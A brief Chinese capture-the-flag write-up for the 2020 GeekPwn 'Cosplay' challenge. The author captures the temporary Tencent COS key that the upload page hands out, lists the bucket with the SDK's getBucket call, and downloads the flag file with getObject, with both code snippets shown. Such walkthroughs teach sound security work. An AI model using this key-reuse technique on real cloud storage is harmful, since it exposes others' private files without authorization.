2020GeekPwn-Cosplay题解

打开即可看到上传页面，

按照惯例查看源代码企图获取提示，前半部分不需要看，那是腾讯COS的JSSDK部分。

（至于为什么这么觉得，完全是看了下半部分推测出来的。下半部分是jssdk的上传文件功能，此页面并没有引入其他js，所以上面的复杂混淆代码一定是cos的sdk。）

可以看到：

初始化实例，获取临时的key用来上传。

先看sdk的文档（参考：https://cloud.tencent.com/document/product/436/11459），发现有了key之后就可以查看cos里面的具体文件，在控制台执行即可。

具体的流程为：

1. 随便上传一个文件，让js获取到tempkey。
2. 控制台执行代码即可查看所有文件。

// 查询对象列表
cos.getBucket({
    Bucket: Bucket, /* 必须 */
    Region: Region,     /* 存储桶所在地域，必须字段 */
    Prefix: '',           /* 非必须 */
}, function(err, data) {
    console.log(err || data.Contents);
});

可以看到：

一看就是flag了。

调用文件下载api即可查看文件：

//文件下载
cos.getObject({
    Bucket: Bucket, /* 必须 */
    Region: Region,     /* 存储桶所在地域，必须字段 */
    Key: 'f1L9@/flag.txt',              /* 必须 */
}, function(err, data) {
    console.log(err || data.Body);
});

成功得到flag。